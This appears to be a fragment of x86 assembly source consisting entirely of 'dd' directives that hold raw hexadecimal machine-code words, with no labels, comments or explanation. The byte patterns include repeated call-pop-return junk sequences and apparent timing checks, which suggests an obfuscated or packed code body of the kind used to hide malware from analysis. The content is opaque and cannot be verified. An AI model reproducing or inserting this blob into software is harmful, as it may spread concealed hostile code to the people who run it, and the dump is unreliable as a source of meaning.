		dd 0D485A922h, 7DBD333Bh, 60060B28h, 12E9h, 2299CF00h
		dd 0FF3692F4h, 0EE603FA6h, 61BD4696h, 0FAD506Ah, 68Bh
		dd 699D8900h, 61060B10h, 6AE2F766h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 9D38C352h
		dd 0F8B70FC6h, 6AD82Bh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 6554B1C3h, 32A19D89h, 5093060Bh
		dd 0BACE8B60h, 34EA81EFh, 6A9361h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 0BD8B5FC3h, 60B1161h
		dd 0DE99D29h, 0B5FF060Bh, 60B3385h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 95C35141h, 0EA052693h, 32DD95FFh
		dd 6A060Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 0EDA838C3h, 0E8687135h, 0Dh, 0D2619536h
		dd 0D1A3CC68h, 7D604404h, 0F6D681F2h, 5E321C75h, 11E8h
		dd 0CCD29D00h, 0E70619ADh, 7B690B21h, 0EDE2DA4Ch, 0ACBF5237h
		dd 5E059B3Ch, 6A00B0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 0DE17EDC3h, 6CDD3F79h, 95EF8166h
		dd 0FC70E66Fh, 6A71E4h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 0EEF49EC3h, 99239E2h, 0F613C97h
		dd 29183h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 0DDBD33C3h, 29060B06h, 0B0FFD9Dh
		dd 0D8B60F06h, 0B19D8960h, 0B8060B28h, 0DDEDDFAh, 0BF0F5661h
		dd 6BA5EF2h, 6A000000h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 70AEC352h, 86F894FDh
		dd 63FDCC6h, 0CE8h, 0A4605500h,	0E8C68A9Bh, 411F2133h
		dd 0BD895F40h, 60B1FC9h, 9589C38Bh, 60B0699h, 6604E8C1h
		dd 0A650F781h, 6AE2F766h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 41C6C357h, 0D82BE929h
		dd 311DB58Bh, 6A58060Bh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 58F4C357h, 67DABB28h
		dd 95B52354h, 2B060B02h, 0A7880FD8h, 6A000001h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 0DF43C356h, 0EE8E7539h, 0A6460114h, 21BD8960h, 61060B10h
		dd 7B9F8h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 663FC6C3h, 662579BFh, 0C183FA8Bh
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 6B2DA878h, 0FEFAFEEh, 380h, 0F3BF0F00h
		dd 860FD93Bh, 11Ah, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 0BAC35343h, 295E258Eh, 8C665F57h, 53006AD9h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 983655A5h, 0C1F68165h, 0C9840F04h, 0E8000000h, 8, 24BE0DC1h
		dd 0F2C2FDBEh, 1785B529h, 0FF5F060Bh, 0B18ED95h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 998E266Ah, 5C92AA93h, 0F5BE199h, 488h, 0BBE6600h, 81C32B22h
		dd 91AF19DEh, 8343D67h,	860F0000h, 6Ch,	0EE9h, 0BE0C1800h
		dd 0C3958815h, 64D7BDF4h, 0E9C4F2D9h, 56h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0CBC35343h, 12E8D1h
		dd 0E8090000h, 0CABEBB3Ch, 4CF2282h, 0B9E70E2Ah, 0D8D82BDEh
		dd 11E860h, 2B460000h, 0D50C45A0h, 4D9E8818h, 8C22C15Eh
		dd 5AA6B6FAh, 0B58B5F61h, 60B2051h, 0C38BC08Bh,	5F51D88Bh
		dd 13E985C7h, 7799060Bh, 8BFC3BB8h, 85BD81C0h, 0D0060B33h
		dd 0F000007h, 8285h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 850FC79Dh, 4, 22C7BE66h
		dd 338585FFh, 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 4F1B4DC3h, 0D8D3F29h, 89821A32h
		dd 0B0211B5h, 0BE806h, 949D0000h, 22F9C858h, 0D5587794h
		dd 0DE83Ch, 36490000h, 0CA58B624h, 727EF89Ch, 89E38BB4h
		dd 0B29EDB5h, 0FF5E5F06h, 0B3385B5h, 0FFF88B06h, 0B32DD95h
		dd 24BE6606h, 8166907Dh, 6A0CEDC6h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 5D7CC353h
		dd 5720EFCAh, 816632A3h, 8BB3DDCFh, 49BD8BFBh, 66060B0Eh
		dd 5D27EE81h, 9176E681h, 6A240Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h
		dd 57470000h, 51C91AC3h, 0ED852940h, 0E9060B28h, 0Fh, 0F449F6DEh
		dd 59D238F3h, 6F2262F6h, 6A1D979Bh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0FECC351h
		dd 3A7ECD8h, 0B169DB5h,	0F7F68106h, 6A6359BCh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 516BC350h, 2D8D01F2h, 66060B21h, 0CB9F681h, 0E1DE8166h
		dd 7ECF8144h, 6A367CC5h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 0FF49C357h,	2EBD9D31h
		dd 8166060Bh, 0E92F6BC7h, 0FFFFF743h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 4BC35242h, 800F5Eh,	31000000h
		dd 0B027595h, 81C18B06h, 139CE9CEh, 4EB78h, 89000000h
		dd 0B333D8Dh, 1600BF06h, 6A5744h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 0F7E443C3h, 28A9858Dh
		dd 0B58B060Bh, 60B13BDh, 8D0F5350h, 5, 0E544F8BFh, 4895F45h
		dd 68D0F24h, 89000000h,	0B318595h, 56006A06h, 6A006A5Eh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 2E1EC352h, 0DF81451Eh, 504B4CFEh,	0B10858Dh
		dd 8D01060Fh, 60B2101h,	6A05C083h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 75C0C350h
		dd 60907BDFh, 9E952h, 5E400000h, 0F1E4351Eh, 59EA385Bh
		dd 9F9AB952h, 61596B56h, 60525050h, 6160F38Bh, 0E9310F61h
		dd 0Fh,	323F68DBh, 55524A64h, 0ADF0FC3Dh, 5A8E03B5h, 6A9058h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 6B2F41C3h, 0F78B006Ah, 0B589006Ah, 60B17F5h,	6B5BD8Bh
		dd 95FF060Bh, 60B2F21h,	9D8DF28Bh, 60EA7B0h, 58B0Fh, 81660000h
		dd 0FFCEF1D7h, 0DD9D89D3h, 0FF060B14h, 0B066D85h, 0F2BF0F06h
		dd 71FE9h, 0E800h, 815D0000h, 0F0B1AEDh, 51006A06h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
		dd 0BD8B0B15h, 60B0F41h, 3385BD81h, 7D0060Bh, 860F0000h
		dd 0FAh, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 18h,	6C35141h, 1806B040h, 0B5DB52Bh,	9D8B060Bh, 60B2A9Dh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0F4C35646h
		dd 0E38143ECh, 100h, 0BF18B66h,	58850FDBh, 66000000h, 35B7D681h
		dd 9CBBD83h, 0F00060Fh,	784h, 4FE9F900h, 0F5000000h, 9CB85C7h
		dd 1060Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 80D3D7C3h, 8960DFAEh, 0B086D85h
		dd 8EBF6606h, 13E961E6h, 66000000h, 0C78257BEh,	0F09CB85h
		dd 6, 0EE816600h, 9D8D49F5h, 60B2A9Dh, 6800Fh, 0E7810000h
		dd 66169241h, 0FEFF2381h, 6AFFFFh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 0A418B1C3h, 8C66F113h
		dd 56006ADBh, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 0CDB509A8h, 0F6060B13h, 840F04C3h, 40h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0CAC35141h
		dd 2A7F61D8h, 95FF9E77h, 60B18EDh, 1A85B58Bh, 0EABE060Bh
		dd 506AA55Fh, 89F18B66h, 0E6812404h, 2E02884Eh,	362E9h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 87DD507Ah, 8F293FA5h, 77E68166h,	0BF00B055h
		dd 8E8C9FFh, 30E5B58Bh,	70E6060Bh, 0E4F6B70Fh, 7D9D3171h
		dd 0F060B00h, 870FD8B6h, 0
		dd 6BAh, 0DDBD8B00h, 8B060B0Ch,	4E8C1C3h, 20F68166h, 0E2F76678h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 4EC35747h
		dd 5ABF0FAAh, 2B19270Eh, 55006AD8h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 8B662238h, 525050FAh
		dd 312F52BEh, 60310F02h, 6160DF8Bh, 89585A61h, 0BD89241Ch
		dd 60B1141h, 3385B5FFh,	8C0F060Bh, 6, 58D8589h,	95FF060Bh
		dd 60B32DDh, 1EB9B529h,	0B0060Bh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 9DC35343h, 0E6266B25h, 0E4F08B70h
		dd 52006A71h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 0F613CABh, 23683h, 0F5F5300h, 8166D8B6h
		dd 0BA48F8F6h, 6, 39F78166h, 6AC38BD2h,	3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0E03FC353h
		dd 99BD8BB1h, 89060B00h, 0B3229BDh, 4E8C106h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0E2C35343h, 0F9E2F766h
		dd 0B70FD82Bh, 6A58FEh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 0B67220C3h, 0C95D75AEh, 0D82B54F2h
		dd 1A1880Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 840F40C3h, 5, 0E52A33BEh, 7B93Ah
		dd 0BD290000h, 60B1A4Dh, 0F00C183h, 0C83h, 68A0F00h, 1000000h
		dd 0B23418Dh, 0FD93B06h, 15286h, 0D98C6600h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0AEC35545h, 0A1BD0930h
		dd 0F6060B1Ah, 840F04C1h, 0F4h,	0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 19h, 7CC35040h, 78B92931h, 0ED95FF03h
		dd 6A060B18h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 0E034C353h, 0F70CFF1Ch, 0F1B70FB1h
		dd 0B9BD895Bh, 2B060B05h, 50006AC3h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 40094577h
		dd 7E9h, 60199F00h, 621142F8h, 5D8D0957h, 5F060B18h, 8343DFCh
		dd 860F0000h, 60h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Dh, 0DDC35040h, 0E6E444C8h, 9C02C26Dh, 9E9B0h
		dd 64070000h, 8B3E4BC9h, 8BE5161Dh, 0B1325B5h, 51E906h
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 953111C3h, 60B0C71h, 6AC08Bh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 973563C3h
		dd 8BFF9107h, 0B244DBDh, 0ADB50906h, 8B060B2Ah,	8BD88BC3h
		dd 0B0E59BDh, 6D85C706h, 0DF060B2Ah, 0BF5FCEABh, 1D3BC0B2h
		dd 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 8E86F0C3h, 3880F39h, 66000000h, 0BD81F28Bh
		dd 60B3385h, 7D0h, 44850Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 85FF0BC3h
		dd 60B3385h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ah,	7EC35343h, 6939EB18h, 0B5FFB969h, 60B3385h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 7EC35040h, 830F4434h
		dd 6, 0C91BD8Bh, 95FF060Bh, 60B32DDh, 60F3B70Fh, 0F49EC381h
		dd 5E96271h, 0A6000000h, 5BC517AAh, 0BE669061h,	0B5896906h
		dd 60B1315h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 18h,	6FC35141h, 15EBE437h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 6AC35646h, 3E455A96h, 0AFDE55DDh
		dd 56006A9Fh, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 0B58BCF7Dh, 60B1131h, 14E9h, 82511B00h
		dd 5696D17h, 4F0898A3h,	196F503Ch, 52B355D0h, 0E880F44h
		dd 51000000h, 20F1BD8Bh, 8A0F060Bh, 0
		dd 0F28B665Fh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 15h,	60C35343h, 50006A96h, 3E8h, 0C3582000h,	24448958h
		dd 24448104h, 1504h, 0C3504000h, 0AE84C75h, 4000000h, 57AC8118h
		dd 6A39CA8Fh, 0D58D0958h, 0F060B17h, 6A5FFEB7h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 0C548C351h, 44331D16h, 645BFDE1h, 0E9F8BF0Fh, 0FFFFF8EDh
		dd 1935BD8Bh, 8D89060Bh, 60B2DFDh, 52006A60h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 37595516h
		dd 0E63A629Eh, 0FFFFFEB9h, 57006AFFh, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 0B031C5B5h
		dd 24218D21h, 0E960060Bh, 0Dh, 4D1A3CCh, 0F27D6044h, 48722AE0h
		dd 0D7E980E0h, 9D8D2161h, 6A060B1Ah, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 3612C356h
		dd 8166E97Fh, 8B6077DEh, 0B24218Dh, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 1F510EECh
		dd 0E1833BB1h, 22850F01h, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 892EC355h
		dd 0B1B3D9Dh, 9D8D8B06h, 6A060B1Ah, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 0C072C350h
		dd 8D89603Eh, 60B07FDh,	1F899589h, 6061060Bh, 68E0Fh, 8F0F0000h
		dd 0
		dd 1E18361h, 12850Fh, 66600000h, 32457B9h, 0B1AB1B5h, 9D896106h
		dd 60B2235h, 0BF0F6061h, 0FFFEB9C1h, 0B58BFFFFh, 60B07A9h
		dd 29858D21h, 830F060Bh, 0Eh, 0A18D8960h, 81060B18h, 9DDFC3DBh
		dd 8D216129h, 60B00A1h,	18FD9D29h, 8D8B060Bh, 60B2985h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 6FC35646h
		dd 14E9FE79h, 0F000000h, 8B2BDFE5h, 2244DEE8h, 4FBA7F71h
		dd 0F388535Eh, 8398D58Ch, 850F01E1h, 6,	2B9858Bh, 8D8B060Bh
		dd 60B00A1h, 9760A9BEh,	1E18339h, 2B850Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 1D6213C3h, 7E1EB9A7h, 8B4A0258h, 0B188985h, 6A606106h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 4E1AC350h, 224AD4EEh, 0FEB9F807h,	89FFFFFFh
		dd 0B24399Dh, 698D2106h, 6A060B08h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 8901C350h
		dd 13E98D21h, 6A060Bh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 0BFB08FC3h, 8B0B3CD8h, 0B08698Dh
		dd 0E183F806h, 25850F01h, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 5D29C355h
		dd 22946FD5h, 40E66161h, 13E98D8Bh, 6A060Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 1B090EC3h
		dd 3395788Bh, 8E8685Ch,	30000000h, 46D92011h, 8B5F51CEh
		dd 0B07899Dh, 12E95F06h, 1B000000h, 0E9B5F35Fh,	1959FF0Fh
		dd 67785D0Ah, 0F7D77642h, 0F0816692h, 0E183B1E8h, 2A850F01h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 4DD2C357h, 512CE3EAh, 5AD3B70Fh
		dd 0F2C68166h, 8B6061A4h, 0B18B195h, 0FFFEB906h, 6AFFFFh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 8166D6C3h, 2192F6DAh, 0B2A9D8Dh, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 8C7CB299h
		dd 0BF0FF20Ch, 6D8D21DAh, 6A060B2Ah, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 0E3DBC357h
		dd 70A39D2Fh, 0E79BD8Bh, 8D8B060Bh, 60B2A9Dh, 7199D8Bh
		dd 0E183060Bh, 24850F01h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0D455C356h
		dd 816628CBh, 8B0D85E0h, 0B2A6D8Dh, 0AD850906h,	83060B02h
		dd 850F01E1h, 22h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 4EC35343h, 0CC88268Ch, 60611DC3h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0E1C35242h, 0C7DC3476h
		dd 0B338585h, 7D006h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 8BB6B621h, 0B0415BDh
		dd 6A6106h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 0EBFCA1C3h, 0E99D6107h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0A1C35747h
		dd 2634EC9h, 0DEBF0FB3h, 0F75B58Bh, 6A060Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 0D529E5C3h
		dd 95EC6693h, 459D095Fh, 8B060B09h, 75E9C1h, 66600000h
		dd 4A8D88Ch, 35840Fh, 16A0000h,	0B01B5FFh, 858D060Bh, 60E7D18h
		dd 8589D0FFh, 60B0F55h,	0EFC1FE8Bh, 680Ch, 6A2004h, 6857026Ah
		dd 1000Dh, 0F5595FFh, 32E9060Bh, 0C6000000h, 0B284585h
		dd 0DF685606h, 0FFA9C530h, 0B1355B5h, 18858D06h, 0FF060E7Dh
		dd 0A18589D0h, 8D060B33h, 0B0B6185h, 206A5006h,	0FF56056Ah
		dd 0B33A195h, 0C1C36106h, 4BEB06E0h, 2F0E0910h,	4B1AC53Ch
		dd 1CA4ACDAh, 5C5CD2D4h, 34CE00E4h, 0CE1BF531h,	0D129B327h
		dd 0C7DD5B34h, 0CE17E62Ah, 6734DF1Bh, 1B00A6DBh, 1A0046BDh
		dd 0D5A3EAh, 9C000000h,	0FEC819h, 0FBFE4800h, 28000000h
		dd 0D427E641h, 0E9C3727Dh, 0D0Eh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 30C35242h, 0D6816007h, 29C043E9h
		dd 0C0816651h, 61590C30h, 6798589h, 0BD83060Bh,	60B0B19h
		dd 5C850F00h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 7C59C351h, 305FA29Dh
		dd 8BD9BBBDh, 0B1241BDh, 8B605606h, 0B06C18Dh, 0FD9D8B06h
		dd 61060B29h, 0B859h, 0FE90000h, 0E5000000h, 0F36104DCh
		dd 8DAA9417h, 67CBE14Ah, 4C2FB3Fh, 850F00h, 8B000000h
		dd 2820FC0h, 8B000000h,	0BDBD83F9h, 60B05h, 0BD830975h
		dd 60B29D1h, 50137400h,	0B8C08B53h, 4D0h, 0B0EE9D8Dh, 0D3FF060Dh
		dd 0BD83585Bh, 60B29D1h, 50117400h, 4D0B853h, 9D8D0000h
		dd 60DB03Bh, 585BD3FFh,	6D9D2B57h, 59060B2Eh, 8BF9BF0Fh
		dd 56006AC0h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 8B66C3C0h, 999D8BCEh, 8D060B15h,	0F17EF85h
		dd 0B1BB6606h, 870F50F3h, 4, 877EB966h,	0F240489h, 680h
		dd 42EB8100h, 8D047768h, 0F17AC85h, 0F1816606h,	60503256h
		dd 0DCB4BABAh, 0AE81Bh,	6BB70000h, 83F64808h, 2EF5AE36h
		dd 489615Fh, 10E824h, 42420000h, 0DFAD6283h, 93FE1D63h
		dd 4B303DC1h, 0F58A2457h, 0A18D895Fh, 0FF060B02h, 0B052D95h
		dd 0A850F06h, 0F000000h, 481h, 0F5BF6600h, 24448BA3h, 55006A04h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 0F0B7C4C7h, 6E9971Eh, 0EA000000h, 0FB90901Fh, 0D785894Bh
		dd 6A060F17h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 0AD52C351h, 0FCB7208Fh, 9BAA1B2h
		dd 0B19599Dh, 24448B06h, 0C98D8B08h, 89060B31h,	0F17EB85h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 394770F8h, 60413F4Dh, 14E890h, 69FD0000h
		dd 0D44B0FF5h, 56699C11h, 5B61DCB0h, 0A58FD808h, 0E7801A37h
		dd 0BD835BA4h, 60B31C5h, 0B7850F00h, 0F9000000h, 284585C6h
		dd 8047060Bh, 4E851DBh,	0D2000000h, 8BD49AA7h, 8AB250D6h
		dd 424448Bh, 8BA8B2h, 448984B2h, 6A580424h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0FF35C355h
		dd 0D6EA9E6Fh, 0C0189DC2h, 1355B5FFh, 0BF0F060Bh, 18858DC9h
		dd 89060E7Dh, 0B2991BDh, 6AD0FF06h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 2B90C357h
		dd 954E63BAh, 6649E529h, 89098DBBh, 0B31C585h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 958973EFh, 60B1A4Dh,	0BD835B51h, 60B13D1h, 0E5850F00h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 54A7C350h, 903125C3h, 0BFEBEB12h
		dd 57DE280Eh, 284585C6h, 0F847060Bh, 0CA94FC68h, 2404817Fh
		dd 0A4520E6h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Dh,	0DAC35747h, 0C2891519h,	147C886h, 0CE9B7h, 2D0F0000h
		dd 5D3DFC38h, 2894ED01h, 0BF0F29D7h, 55B5FFD0h,	6A060B13h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 7BC352h, 6E91F477h, 77A285C7h, 13E58531h
		dd 858D060Bh, 60E7D18h,	1B2D9D8Bh, 0D0FF060Bh, 39DF8166h
		dd 0D1858933h, 6A060B13h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 0CDD5C351h,	95895154h
		dd 60B29D5h, 1975BD83h,	0F00060Bh, 0AE85h, 55958900h, 0C6060B1Ah
		dd 0B284585h, 6A5606h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 2AE0F2C3h, 20E04872h, 68CA8BDEh
		dd 0CBFB31C1h, 8B0F5260h, 0
		dd 0D0EB958h, 8161451Ah, 5CF82434h, 31601FE4h, 0B06C985h
		dd 0B5FF6106h, 60B1355h, 8DD8B70Fh, 0E7D1885h, 11E906h
		dd 0ED510000h, 0B39E16A4h, 8D37DEEDh, 40407695h, 66C2A1AAh
		dd 7F93D281h, 9D89D0FFh, 60B1389h, 19758589h, 6A060Bh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 0F24C3h, 0C62832BBh,	0B284585h, 9DB36C06h, 1AE30368h
		dd 10BB60E8h, 0BE2869E2h, 71EDDCC5h, 24348161h,	331F9380h
		dd 17FD9D89h, 0B5FF060Bh, 60B0B01h, 0D858DFCh, 66060B39h
		dd 97A4C381h, 0EE9h, 644CED00h,	49EFA9FCh, 0C4523383h
		dd 0FF4096D0h, 0CE9D0h,	5DD40000h, 18A8CD2h, 0CD984E1Ch
		dd 8589FF59h, 60F17DBh,	0EE8h, 3F26DD00h, 5C36B1E0h, 84B2F11Dh
		dd 0B2DC8F19h, 46A5FC7h, 78D0Fh, 890F0000h, 1, 90C068F8h
		dd 481D17Dh, 827F4024h,	0E860532Eh, 0Fh, 0C62F66D4h, 0B9C0237Bh
		dd 0E63042D1h, 5B870FE1h, 13E9h, 0EB239400h, 4929611Ah
		dd 0FFE5EFF5h, 0EFA5B75Fh, 54988F15h, 4E85961h,	0
		dd 50000100h, 14E8h, 0E9506600h, 7670C19Ch, 699ECC35h
		dd 0B1DF8B10h, 0E42BFAFBh, 0CCBB669Fh, 448B59EEh, 0FFBA0424h
		dd 8B7AB27Bh, 0F793BB00h, 448934F1h, 8EB90424h,	58763EA3h
		dd 3281952Bh, 0F48A060Bh, 6A006Ah, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 0DA4904C3h, 95FF2DBDh
		dd 60B0B71h, 8589F1B3h,	60F17E7h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 1CC35545h, 0F899255Bh, 21419531h
		dd 0F78A060Bh, 0BD8B006Ah, 60B005Dh, 865668h, 665250CAh
		dd 310FDE8Bh, 6E2D33BFh, 81585A14h, 79AA2404h, 0FEB53600h
		dd 89595350h, 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 58FC65C3h, 63D328A0h, 0FCBB6671h
		dd 600B6A12h, 23F08166h, 9E43BE5Ch, 8D613CA5h, 0F17B485h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 0B6ADA348h, 509BDA77h, 0FE9C8F4h, 71000000h
		dd 95D56397h, 408D980Eh, 0A2B796B1h, 0CE8B1681h, 89CB8A50h
		dd 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 0A07D2EC3h, 0E94F02A7h, 0Eh, 14020A3Ch, 0ABE67AC5h
		dd 99C95256h, 95FFCD54h, 60B31C5h, 0EF2CB0BFh, 2ECA8145h
		dd 8D57A806h, 0F17BEB5h, 0F58D8B06h, 66060B19h,	5096D18Bh
		dd 59BDBA52h, 310F47C9h, 3846BF66h, 8B50585Ah, 0B96696FAh
		dd 4FBABF84h, 5023E765h, 11C6B860h, 0FA8B061Dh,	24048961h
		dd 14DD9523h, 95FF060Bh, 60B13D1h, 0B119D8Bh, 0DD80060Bh
		dd 0E9D0FF25h, 8, 0DD35616Eh, 422E3A5Ah, 17E7B58Bh, 0BF0F060Fh
		dd 0DF85C7FAh, 60F17h, 8B000000h, 0B2DE58Dh, 95896006h
		dd 60B15E9h, 0D8D7F6B8h, 7E80610Ah, 840F0020h, 394h, 2A8DB589h
		dd 6A60060Bh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 710AC351h, 414788D7h, 0FE8B9ED8h
